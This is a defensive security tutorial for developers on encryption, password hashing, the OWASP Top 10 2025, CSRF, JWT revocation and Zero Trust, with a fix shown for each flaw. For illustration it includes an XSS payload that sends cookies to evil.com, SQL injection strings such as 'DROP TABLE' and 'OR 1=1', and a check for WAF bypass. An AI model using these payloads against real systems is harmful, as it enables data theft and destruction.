- Introduction
- The Documents This Article Cites
- Part 1: Cryptography
- Part 2: Web Security (OWASP Top 10)
- Every Defence Has Conditions Attached
- Fixing One Vulnerable Endpoint
- Part 3: Zero Trust Architecture
- Security Checklist
- Failure Modes and Pitfalls
- When This Is Not Enough / Limits of This Article
- References
- Quiz

Introduction
"Isn't security the security team's job?" — No. Every developer who writes code is the first line of defense.
A single SQL Injection can leak millions of personal records, and a single XSS vulnerability can hijack user sessions. This article is a comprehensive summary of the security concepts every developer must know.
The Documents This Article Cites
The most common way a security article fails is by becoming a checklist of unsourced claims. A sentence like "SQL Injection is stopped by prepared statements" is only half right; the other half depends on conditions. So let us pin down the reference documents first.
According to the OWASP project page, the most current released version is the OWASP Top Ten 2025. When this article says "Top 10", it means the 2025 edition; where the 2021 edition is cited, that is stated explicitly. Category names and ordering change between editions, so if your internal security guide only says "complies with OWASP Top 10", that sentence names no edition and therefore means almost nothing.
OWASP Top 10:2025 (verified 2026-08-16)
A01:2025 Broken Access Control
A02:2025 Security Misconfiguration
A03:2025 Software Supply Chain Failures
A04:2025 Cryptographic Failures
A05:2025 Injection
A06:2025 Insecure Design
A07:2025 Authentication Failures
A08:2025 Software or Data Integrity Failures
A09:2025 Security Logging & Alerting Failures
A10:2025 Mishandling of Exceptional Conditions
The vulnerabilities covered below map onto that table as follows. SQL Injection and XSS are both A05:2025 Injection. If you had XSS filed as a separate species, that needs adjusting. The A05 category page defines an injection vulnerability as an application flaw that lets untrusted user input reach an interpreter — a browser, a database, the command line — and causes the interpreter to execute parts of that input as commands, and it lists XSS (CWE-79) among the mapped CWEs. IDOR belongs to A01:2025 Broken Access Control, whose page explicitly names permitting someone to view or edit another person's account by supplying its unique identifier as a failure.
Protocol-level claims were checked against the specification itself. The SameSite cookie attribute is defined in the IETF cookie specification draft. Zero Trust is anchored to NIST SP 800-207 "Zero Trust Architecture" (published August 2020). Every URL consulted is listed in the References section at the end.
One thing up front: every parameter value in this article was actually read from those documents this session, and where a value could not be read, the article says so and points at the document. In a security article, writing a number from memory is itself a vulnerability.
Part 1: Cryptography
Symmetric Key Encryption (AES)
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
# === Fernet (simple symmetric key) ===
key = Fernet.generate_key()
f = Fernet(key)
plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext # ✅
# === AES-256-GCM (production standard) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12) # 96-bit nonce (new every time!)
# Encryption + Authentication (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata") # Decryption + integrity verification
Symmetric key: Same key for encryption/decryption
Pros: Fast (AES-256: ~1 GB/s)
Cons: Key distribution problem (how to securely share the key?)
Use cases: Data encryption, disk encryption, TLS data transfer
Asymmetric Key Encryption (RSA, ECDSA)
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
# Generate key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# Encrypt (with public key)
message = b"Secret message"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# Decrypt (with private key)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
))
assert plaintext == message # ✅
Asymmetric key: Public key (encrypt) + Private key (decrypt)
Pros: Solves the key exchange problem (public key can be shared openly)
Cons: Slow (RSA: ~1 KB/s, 1000x slower than AES)
Use cases: TLS key exchange, digital signatures, SSH authentication
Hashing — Password Storage
import hashlib
import bcrypt
# NEVER do this: store in plaintext
password = "mypassword123"
# DON'T: simple hash (vulnerable to rainbow table attacks)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()
# DO: bcrypt (salt + slow hashing = secure!)
salt = bcrypt.gensalt(rounds=12) # Generate salt (2^12 iterations)
hashed = bcrypt.hashpw(password.encode(), salt)
# Verification
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"Password match: {is_valid}") # True
# Why bcrypt is secure:
# 1. Salt: Same password produces different hashes -> defeats rainbow tables
# 2. Slow: Intentionally slow to defend against brute force (GPU attack defense)
# 3. Adjustable rounds: Increase difficulty as hardware improves
TLS Handshake (HTTPS)
[Client] [Server]
| |
|-- ClientHello --------------->| Supported cipher suite list
| |
|<-- ServerHello + Certificate --| Selected cipher + server certificate
| |
| Verify server certificate |
| (CA chain) |
| |
|-- Key Exchange --------------->| ECDHE public value
|<-- Key Exchange ---------------| Server ECDHE public value
| |
+================================+
| Both sides derive the same |
| symmetric key! |
| (Diffie-Hellman) |
+================================+
| |
|<== AES-256-GCM encrypted ==> |
Part 2: Web Security (OWASP Top 10)
SQL Injection
# DON'T: dangerous code
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# -> SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# -> Table dropped!
# DO: Parameter binding (Prepared Statement)
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # Input treated as data only, never interpreted as SQL
)
# DO: Use an ORM (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()
XSS (Cross-Site Scripting)
# DON'T: dangerous code (outputting user input as-is)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# Inserting directly into HTML:
html = f"<div>{comment}</div>"
# -> Cookie stolen!
# DO: HTML escape
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# -> <script>... (not executed)
# DO: CSP (Content Security Policy) header
# Content-Security-Policy: script-src 'self'; object-src 'none';
CSRF (Cross-Site Request Forgery)
# Attack: User visits a malicious site while logged in
# A hidden form on the malicious site automatically submits a bank transfer request!
# DO: CSRF token defense
from flask import Flask, session
import secrets
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
# Token verification
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # CSRF attack blocked!
# Normal processing
process_transfer(request.form)
# DO: SameSite cookies
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
Authentication/Authorization Vulnerabilities
# DON'T: IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
return User.query.get(user_id).to_dict()
# Changing user_id reveals other people's information!
# DO: Add authorization check
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # Unauthorized!
return User.query.get(user_id).to_dict()
Every Defence Has Conditions Attached
A sentence that ends with "just use X" is usually missing its second half. Every defence has a condition under which it holds and a condition under which it fails, and a defence applied without knowing those conditions leaves behind nothing but the feeling of being defended. Let us attach those conditions to each defence introduced in Part 2.
What Parameter Binding Stops and What It Does Not
Parameter binding protects the slots where values go. The driver sends query text and data separately, so input in those slots is never parsed as SQL syntax. That is why the username in the earlier example is safe no matter how nasty it looks.
The failure condition is precise: there are slots where bind variables cannot be used. The OWASP SQL Injection Prevention Cheat Sheet names table names, column names, and sort order indicators (ASC or DESC) as those slots, and says input validation or query redesign is the most appropriate defence there. Concretely, it recommends mapping user input to the legal or expected table and column names — an allow-list.
The same document lists the primary defences in order: prepared statements (with parameterized queries), stored procedures, allow-list input validation, and escaping all user-supplied input. The last one carries the qualifier that it is strongly discouraged. If escaping is your primary defence, that fact alone belongs on the review list.
# The ORDER BY slot cannot be bound → map it through an allow-list
SORT_COLUMNS = {
"created": "created_at",
"amount": "total_amount",
"status": "status",
}
SORT_DIRECTIONS = {"asc": "ASC", "desc": "DESC"}
def list_orders(customer_id: str, sort: str, direction: str):
# User input is used only as a key. The values are constants we wrote.
column = SORT_COLUMNS.get(sort)
order = SORT_DIRECTIONS.get(direction)
if column is None or order is None:
raise ValueError("Invalid sort criteria")
# Value slots are bound; identifier slots come from the allow-list
sql = f"SELECT * FROM orders WHERE customer_id = %s ORDER BY {column} {order}"
cursor.execute(sql, (customer_id,))
return cursor.fetchall()
Note that there is no path by which user input reaches the SQL text directly. Input is used only as a dictionary key, and every string that actually enters the SQL is a constant written in the source. An allow-list is safe not because it filters dangerous characters but because user input never becomes query text in the first place.
Output Encoding Is Context-Specific
This is the half most often cut off in XSS advice. The Output Encoding Rules Summary in the OWASP Cross Site Scripting Prevention Cheat Sheet specifies a different encoding per context.
HTML body HTML entity encoding
& → & < → < > → > " → " ' → '
HTML attribute Encode all characters in the &#xHH; format, including spaces
HH is the hexadecimal Unicode value of the character
JavaScript Encode all characters using the \uXXXX Unicode format
XXXX is the hexadecimal Unicode code point
URL Standard percent encoding per the W3C specification
CSS CSS hex encoding supports both \XX and \XXXXXX formats
(with spacing or zero-padding considerations)
So "we HTML-escaped it, therefore it is safe" is true only in the HTML body context. Move the same value into a script block, into an attribute value, or into a URL slot and a different encoding is required. The same document states that the only safe location for placing variables in JavaScript is inside a quoted data value, and that all other contexts are unsafe.
More importantly, that document also states plainly that output encoding is not perfect and will not always prevent XSS. It classifies script tags, CSS, and JavaScript event handlers as dangerous contexts. If user input has to land in one of those, change the design before agonising over the encoding.
Using a framework does not make you safe automatically either. The same document points out that problems occur when frameworks are used insecurely, giving React's dangerouslySetInnerHTML without sanitising the HTML as the example. A framework's default escaping applies to the default path, and an escape hatch is exactly what its name says.
CSRF Tokens and SameSite Cookies Are Not Substitutes
The synchronizer token pattern rests on one assumption: an attacker must not be able to read that token cross-origin. The OWASP Cross-Site Request Forgery Prevention Cheat Sheet says inserting the token into a custom HTTP request header via JavaScript is more secure than a hidden form field, because requests carrying custom headers are automatically subject to the same-origin policy.
# What the server sets (a defence-in-depth layer)
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly
# Using SameSite=None requires Secure — the specification says so
Set-Cookie: session=abc; SameSite=None; Secure; HttpOnly
# The actual CSRF defence lives here (custom header + server-side check)
POST /transfer HTTP/1.1
X-CSRF-Token: 8f2c... ← added by JavaScript; cross-origin code cannot attach it
The most important sentence in that cheat sheet is this: SameSite is useful as a defence-in-depth control, but it does not replace a proper CSRF defence in most deployments. The conclusion "we turned SameSite on, so we can drop the token" is not one the document supports.
Nor should you assume browser defaults. The same document notes that Chrome implemented SameSite=Lax as the default behaviour in 2020 and that Firefox and Edge followed, while also warning that users on older browsers may receive cookies that behave as if no SameSite value were set. Build your defence on a browser default and whether you are defended depends on the user's browser version.
The specification was checked too. The IETF cookie specification draft (draft-ietf-httpbis-rfc6265bis-22, Internet-Draft, published 1 December 2025) defines the SameSite attribute as limiting the cookie's scope so that it is attached only to same-site requests: Strict sends it only with same-site requests, Lax sends it with same-site requests and with cross-site top-level navigations, and None sends it with both same-site and cross-site requests. A value other than those three known keywords is subject to a default enforcement mode equivalent to Lax. A cookie whose same-site flag is None is ignored entirely unless its secure-only flag is true. And the same document states that Lax enforcement provides reasonable defence in depth against CSRF attacks relying on unsafe HTTP methods such as POST, but does not offer a robust defence against CSRF as a general category of attack.
The cheat sheet is equally blunt about the widely used double-submit cookie pattern: the naive form is vulnerable to cookie injection attacks, especially when attackers control subdomains or operate in network environments that let them plant or overwrite cookies.
Finally, one sentence the document puts in capitals: XSS can defeat all CSRF mitigation techniques. Debating CSRF token designs while an XSS remains open is doing things in the wrong order.
Password Hashing: Algorithm Families and Parameters
Below are the values the OWASP Password Storage Cheat Sheet actually recommends, transcribed as read. These numbers come from that document and they change when it is updated.
# First choice: Argon2id
# Minimum configuration — 19 MiB of memory, iteration count 2, parallelism 1
# Alternative configurations the document lists as equivalent security:
# m=47104 (46 MiB), t=1, p=1
# m=19456 (19 MiB), t=2, p=1
# m=12288 (12 MiB), t=3, p=1
# m=9216 ( 9 MiB), t=4, p=1
# m=7168 ( 7 MiB), t=5, p=1
# Second choice: scrypt (when Argon2id is unavailable)
# Minimum CPU/memory cost parameter 2^17, minimum block size 8 (1024 bytes),
# parallelization parameter 1
# Legacy systems: bcrypt
# Work factor of 10 or more, with a password limit of 72 bytes
# When FIPS-140 compliance is required: PBKDF2
# Work factor of 600,000 or more, internal hash function HMAC-SHA-256
On salts, the document states that a salt must be unique and randomly generated per password. However, the page read this session did not state a recommended salt byte length. Check the current value in the OWASP Password Storage Cheat Sheet. On peppering, the document says to consider a pepper as additional defence in depth, while noting that alone it provides no additional secure characteristics.
The bcrypt rounds value in the earlier example satisfies the criterion above (work factor 10 or more). But note that the same document classifies bcrypt as being for legacy systems. For a new system, Argon2id is the first choice. And bcrypt's 72-byte limit really does cause incidents: recommend long passphrases while using bcrypt, and everything past 72 bytes is silently ignored with no way for the user to know.
These values go up as hardware gets faster. Do not bake them in as constants; move them into configuration, and add a path that re-hashes with current parameters right after a successful login when the stored hash's parameters are below the current baseline. That saves you a bulk migration later.
Fixing One Vulnerable Endpoint
Let us apply all of the above to one piece of real code. It is an order search endpoint, and two things are wrong at once: the search term is concatenated into a value slot, and the sort column is concatenated into an identifier slot. The payload below is a benign proof of concept for confirming whether the flaw exists, and should only be tried against systems you are authorised to test.
# ❌ Vulnerable version — Flask + psycopg2
@app.route("/api/orders")
@login_required
def search_orders():
q = request.args.get("q", "")
sort = request.args.get("sort", "created_at")
sql = (
"SELECT id, customer_id, total_amount, status, created_at "
"FROM orders "
f"WHERE customer_id = '{current_user.id}' AND memo LIKE '%{q}%' "
f"ORDER BY {sort} DESC LIMIT 50"
)
cursor.execute(sql)
return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])
One line is enough to exploit it. Put a single quote in q to close the string literal and append an always-true condition, and even the customer_id restriction falls away.
GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<your own legitimate session>
# Decoded, q = %' OR 1=1 --
# The SQL the server builds:
# ... WHERE customer_id = 'u-1042' AND memo LIKE '%%' OR 1=1 -- %' ORDER BY ...
# With OR appended after AND, the whole condition becomes true
HTTP/1.1 200 OK
Content-Type: application/json
[{"id":"o-1","customer_id":"u-0001", ...}, ← someone else's order
{"id":"o-2","customer_id":"u-0002", ...},
... 50 rows ...]
Two things are visible at once here. This is A05:2025 Injection, and because it ends up exposing other users' data it also falls within the impact of A01:2025 Broken Access Control. One injection bypassing access control wholesale is the classic shape.
The fix treats the two spots differently: bind the value, allow-list the identifier.
# ✅ Fixed version
SORT_COLUMNS = {
"created": "created_at",
"amount": "total_amount",
"status": "status",
}
@app.route("/api/orders")
@login_required
def search_orders():
q = request.args.get("q", "")
sort_key = request.args.get("sort", "created")
column = SORT_COLUMNS.get(sort_key)
if column is None:
return jsonify({"error": "unsupported sort key"}), 400
sql = (
"SELECT id, customer_id, total_amount, status, created_at "
"FROM orders "
"WHERE customer_id = %s AND memo LIKE %s "
f"ORDER BY {column} DESC LIMIT 50"
)
# customer_id comes from the session, never from the request (A01)
cursor.execute(sql, (current_user.id, f"%{q}%"))
return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])
Replay the same request against the fixed version.
GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<your own legitimate session>
HTTP/1.1 200 OK
Content-Type: application/json
[]
# The whole payload is treated as nothing but a LIKE pattern string.
# No order has "%' OR 1=1 --" in its memo, so the array is empty.
GET /api/orders?sort=created_at;DROP%20TABLE%20orders HTTP/1.1
HTTP/1.1 400 Bad Request
{"error":"unsupported sort key"}
# A key that is not on the allow-list never goes near the SQL.
What separates before from after is not "did we filter dangerous characters". It is "is there any path left by which user input becomes SQL text". That single question catches most injections in code review.
Part 3: Zero Trust Architecture
Traditional security: "Inside the walls is safe" (Castle and Moat)
[Internet] --[Firewall]-- [Internal network: trust everyone]
-> Defenseless once breached internally!
Zero Trust: "Trust nobody"
[Every request] -> [Authenticate] -> [Authorize] -> [Encrypt] -> [Monitor]
-> Verify every time, whether internal or external!
Zero Trust Principles
1. Verify Explicitly
-> Authenticate + authorize every request (regardless of location/network)
2. Least Privilege
-> Allow access only to what is needed, only for the time needed
-> JIT (Just-In-Time) privilege granting
3. Assume Breach
-> Design assuming you have already been compromised
-> Micro-segmentation, encryption, monitoring
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-policy
spec:
podSelector:
matchLabels:
app: api-server
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # Allow access only from frontend
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database # Allow access only to DB
ports:
- port: 5432
# All other traffic: blocked!
Security Checklist
[Authentication/Authorization]
- bcrypt/Argon2 for password hashing (never use SHA256 alone)
- JWT signature verification + expiration time
- OAuth 2.0 PKCE (SPA/mobile)
- MFA (Multi-Factor Authentication)
- Rate Limiting (brute force defense)
[Input Validation]
- SQL Injection: Prepared Statement / ORM
- XSS: HTML escape + CSP header
- CSRF: SameSite cookies + CSRF token
- Path Traversal: filename validation
- SSRF: block internal IPs
[Communication/Storage]
- HTTPS required (TLS 1.3)
- HSTS header
- Encrypt sensitive data (AES-256-GCM)
- Secret management: Vault / AWS Secrets Manager
- Never log passwords/tokens
[Infrastructure]
- Zero Trust network
- Container image scanning (Trivy)
- Dependency vulnerability scanning (Dependabot)
- WAF (Web Application Firewall)
- Intrusion detection/monitoring
Failure Modes and Pitfalls
A WAF Rule Was Added and the Code Was Left Alone
The symptom first. The scanner report's warning is gone and the dashboard shows a block count. Yet not one line of the vulnerable code changed, and the ticket was closed as done.
Diagnose in this order. First, send the same request through a path that does not pass the WAF: service-to-service internal calls, an admin portal on a separate domain, batch jobs, or any route that reaches the origin directly behind the load balancer. Second, vary the payload's encoding and parameter position. If a semantically identical request gets through in a different form, the rule is blocking a string pattern, not the vulnerability. Third, check the repository to see whether the originally vulnerable line is still there.
# 1) Through the WAF
GET /api/orders?q=... HTTP/1.1
Host: shop.example.com → 403 (blocked)
# 2) Straight to the origin (internal network, staging domain, admin host)
GET /api/orders?q=... HTTP/1.1
Host: origin-1.internal:8080 → 200 (still vulnerable)
# If the two responses differ, what was blocked was "requests taking that path",
# and the vulnerability itself is still in the code.
The fix is straightforward: treat the WAF as a compensating control that buys time until the code fix ships, and track ticket status as two separate lines — "WAF rule applied" and "code fixed". This is not an argument that WAFs are useless. It is that while a rule blocks one expression of a request, the vulnerability stays in the code and a bypass surface generally exists.
It Is Hashed, but the Salt Is a Global Constant
The symptom is visible straight from the database. Group by the password hash column and the same value shows up across several accounts. In the code there is a single module-level salt constant, and every hash uses it.
Diagnosis starts with one query. If even one duplicate hash appears, the salt is not unique per account. Then check whether the salt generation call runs per request or only once at module load, and finally check whether the stored hash string carries the algorithm, its parameters, and the salt together.
-- Duplicate hashes mean the salt is not unique per password
SELECT password_hash, COUNT(*) AS accounts
FROM users
GROUP BY password_hash
HAVING COUNT(*) > 1
ORDER BY accounts DESC
LIMIT 20;
The heart of the fix is not handling salts yourself. The OWASP Password Storage Cheat Sheet states that the salt must be unique and randomly generated per password. Password hashing functions such as Argon2id and bcrypt generate the salt themselves and embed it in the result string together with the algorithm and parameters. Seeing a salt constant in application code is itself a signal that work is happening at the wrong layer.
A global salt is sometimes called a pepper, but the two are different. A pepper is a separate secret kept outside the database — in a key management system, for instance. The same document says a pepper is worth considering as additional defence in depth while noting that alone it provides no additional secure characteristics. A constant stored alongside the data is neither a pepper nor a salt.
JWT Used as a Session With No Revocation Path
The symptom surfaces after logout. The user clicks log out, yet the token issued a moment earlier still works against protected endpoints. Changing the password does not help. Suspending the account does not help. It only ends when the expiry passes.
Diagnosis has three steps. First, log out and then call a protected API with the previous token. A 200 confirms it. Second, check whether the server has any store recording invalidated tokens; if there is none, there is no revocation path. Third, check whether the verification code pins the algorithms it will accept.
The OWASP JSON Web Token Cheat Sheet addresses this head-on. It notes that JWTs are often suggested for stateless user sessions, but that if you use JWTs for user sessions you will need a solution for managing session invalidation, and that this can be achieved using a deny list of revoked sessions and tokens. For issuer-side revocation at scale it points to a Token Status List. In short, the statelessness benefit holds only while you never need to revoke; the moment logout matters, server-side state comes back. It is better to admit that and design for it.
The same document flags signature-verification traps too. Some JWT libraries used to accept unsecured JWTs by default — tokens whose alg is none — in which case an attacker can forge their own. And some implementations would accept a public key intended for public-key digital signatures as if it were a secret key used for MAC verification. That is why verification code must pin the accepted algorithms to an allow-list rather than trusting the library's judgement.
# Pin the algorithm at verification time and check the revocation list
import jwt # PyJWT
def verify(token: str) -> dict:
claims = jwt.decode(
token,
PUBLIC_KEY,
algorithms=["RS256"], # do not trust the token's alg header
options={"require": ["exp", "jti", "sub"]},
)
if revoked_store.contains(claims["jti"]): # revocation lookup
raise PermissionError("revoked token")
return claims
def logout(token_claims: dict) -> None:
# Only needs to be kept for the remaining lifetime, so the store stays bounded
ttl = token_claims["exp"] - int(time.time())
revoked_store.add(token_claims["jti"], ttl_seconds=max(ttl, 0))
With a revocation list you are no longer fully stateless. But what the store holds is only token identifiers until expiry, which is far lighter than keeping whole sessions server-side. The trade-off cannot be removed; you only get to choose which cost to pay.
When This Is Not Enough / Limits of This Article
This article is a developer-level orientation, not a threat model. That distinction is not a formality.
Controls cannot be priced without knowing what you are defending and from whom. The same XSS is an annoying bug on an internal wiki and an incident on a checkout page. Conversely, bolting multi-factor authentication and micro-segmentation onto a public documentation site burns budget and usability. The order is always asset identification and threat identification first, controls second. This article covers only the second half of that order.
Key management is out of scope here. In the earlier examples, generating a key takes two lines; what is actually hard is where that key lives, who can reach it, how it is rotated, and what happens when it leaks. That area needs specialists and dedicated systems. Designing your own cryptographic primitives is the classic way to fail. Even a sound algorithm is neutralised by the wrong mode or a reused nonce, and that failure is usually silent — tests will not surface it. If you handle regulated data such as personal or payment information, there are points where legal requirements come before technical judgement, and this article cannot substitute for that judgement.
The throughput figures earlier are order-of-magnitude illustrations. Real values vary widely with hardware, implementation, key size, and mode of operation, so measure in your own environment if a performance decision depends on it.
The three Zero Trust principles in Part 3 are a widely used industry summary. The normative document is NIST SP 800-207 "Zero Trust Architecture", which defines zero trust as the term for an evolving set of cybersecurity paradigms that move defences from static, network-based perimeters to focus on users, assets, and resources. Consult that document directly for its detailed list of tenets.
Finally, the most important line. Passing a checklist and having a secure system are different things. The OWASP Top 10 is a ranking, not a requirements specification, and services get breached through vulnerabilities that are not on it. A checklist is a tool for starting a conversation, not for ending one.
References
All verified on 2026-08-16.
- OWASP Top 10 project page — the basis for the claim that 2025 is the most current released version. https://owasp.org/www-project-top-ten/ (2026-08-16 verified)
- OWASP Top 10:2025 introduction — the A01 through A10 category list. https://owasp.org/Top10/2025/0x00_2025-Introduction/ (2026-08-16 verified)
- A01:2025 Broken Access Control — the definition of access control, deny-by-default, and the basis for placing IDOR in this category. https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/ (2026-08-16 verified)
- A05:2025 Injection — the definition of injection, the basis for XSS (CWE-79) belonging to this category, and the safe-API-first recommendation. https://owasp.org/Top10/2025/A05_2025-Injection/ (2026-08-16 verified)
- OWASP SQL Injection Prevention Cheat Sheet — slots where bind variables cannot be used (table names, column names, ASC/DESC), the allow-list mapping recommendation, and the ordering of primary defences. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html (2026-08-16 verified)
- OWASP Cross Site Scripting Prevention Cheat Sheet — per-context output encoding rules, the safe location in JavaScript contexts, the limits of output encoding, and the framework escape-hatch warning. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html (2026-08-16 verified)
- OWASP Cross-Site Request Forgery Prevention Cheat Sheet — SameSite as defence in depth rather than a replacement, the browser-default warning, double-submit cookie weaknesses, and the warning that XSS defeats all CSRF mitigations. https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html (2026-08-16 verified)
- OWASP Password Storage Cheat Sheet — recommended parameters for Argon2id, scrypt, bcrypt, and PBKDF2, plus the salt and pepper guidance. Source of every hashing parameter in this article. https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html (2026-08-16 verified)
- OWASP JSON Web Token Cheat Sheet — session invalidation and deny lists, Token Status List, the alg-none token and algorithm confusion problems. https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet.html (2026-08-16 verified)
- IETF cookie specification draft draft-ietf-httpbis-rfc6265bis-22 (Internet-Draft, 2025-12-01) — the SameSite attribute and its three values, the default enforcement mode for unknown values, the Secure requirement for SameSite=None, and the statement that Lax is not a robust defence against CSRF generally. https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis (2026-08-16 verified)
- NIST SP 800-207 "Zero Trust Architecture" (August 2020) — the normative definition of Zero Trust. https://csrc.nist.gov/pubs/sp/800/207/final (2026-08-16 verified)
Quiz — Security (click to reveal!)
Q1. What is the difference between symmetric and asymmetric encryption, and what are their use cases? ||Symmetric: Same key for encryption/decryption, fast (AES) — data transfer/storage encryption. Asymmetric: Public/private key pair, slow (RSA) — key exchange, digital signatures.||
Q2. Why is bcrypt safer than SHA-256 for password storage? ||1) Salt defeats rainbow tables 2) Intentionally slow hashing defends against brute force 3) Adjustable rounds to keep up with future hardware improvements.||
Q3. What is the root cause of SQL Injection and how do you defend against it? ||Root cause: User input is interpreted as part of the SQL query. Defense: Prepared Statements (parameter binding) treat input as data only.||
Q4. What is the difference between XSS and CSRF? ||XSS: Attacker's script executes in the victim's browser. CSRF: Attacker sends requests using the victim's authenticated session. XSS tricks the client; CSRF tricks the server.||
Q5. At which stages of the TLS handshake are symmetric and asymmetric keys used? ||Asymmetric: Key exchange during the handshake (ECDHE). Symmetric (AES): Data transfer stage. Asymmetric keys securely negotiate a symmetric key, then the fast symmetric key handles actual communication.||
Q6. What are the three principles of Zero Trust? ||1) Verify Explicitly: Explicitly authenticate/authorize every request 2) Least Privilege: Grant only the minimum necessary permissions 3) Assume Breach: Design assuming compromise has already occurred.||
Q7. What is the role of the HSTS header? ||It instructs the browser to access the domain only via HTTPS. This prevents man-in-the-middle attacks that could occur during HTTP to HTTPS redirects.||
Quiz
Q1: What is the main topic covered in "The Complete Security Guide for Developers — From
Encryption to Zero Trust"?
Symmetric and asymmetric encryption, hashing, TLS handshake, OWASP Top 10, SQL Injection, XSS, CSRF, and Zero Trust architecture. A comprehensive summary of security concepts every developer must know, complete with code examples.
Q2: What is Part 1: Cryptography?
Symmetric Key Encryption (AES) Asymmetric Key Encryption (RSA, ECDSA) Hashing — Password Storage
TLS Handshake (HTTPS)
Q3: Explain the core concept of Part 2: Web Security (OWASP Top 10).
SQL Injection XSS (Cross-Site Scripting) CSRF (Cross-Site Request Forgery)
Authentication/Authorization Vulnerabilities
Q4: Describe the Part 3: Zero Trust Architecture.
Zero Trust Principles
Q5: How does Security Checklist work?
Q1. What is the difference between symmetric and asymmetric encryption, and what are their use
cases? Q2. Why is bcrypt safer than SHA-256 for password storage? Q3. What is the root cause of
SQL Injection and how do you defend against it? Q4.
Q6: Which OWASP Top 10 edition does this article cite, and where do SQL Injection and XSS belong?
The 2025 edition. Both belong to A05:2025 Injection, and the A05 page lists XSS (CWE-79) among its
mapped CWEs. IDOR belongs to A01:2025 Broken Access Control. An internal guide that says only
"complies with the Top 10" without naming an edition does not say which list it means.
Q7: Which slots does parameter binding fail to protect?
The slots where bind variables cannot be used. The OWASP SQL Injection Prevention Cheat Sheet names
table names, column names, and sort order indicators (ASC or DESC), and says input validation or
query redesign is the appropriate defence there — concretely, mapping input to legal or expected
names.
Q8: Why does HTML escaping alone fail to stop XSS?
Because output encoding only holds for the context you encoded for. HTML body, HTML attribute,
JavaScript, URL, and CSS each require different encodings. The OWASP document states that the only
safe location for a variable in a JavaScript context is inside a quoted data value, and that all
other contexts are unsafe.
Q9: Can SameSite cookies replace CSRF tokens?
No. The OWASP CSRF Prevention Cheat Sheet says SameSite is useful as a defence-in-depth control but
does not replace a proper CSRF defence in most deployments. You should not rely on browser defaults
either — older browsers may behave as if no SameSite value were set. And if XSS is still open, all
CSRF mitigations are defeated.
Q10: What must be designed alongside JWTs when they are used as sessions?
A session invalidation path. The OWASP JSON Web Token Cheat Sheet says that if you use JWTs for
user sessions you need a solution for managing session invalidation, achievable with a deny list of
revoked sessions and tokens. Pinning the accepted algorithms at verification time is required as
well.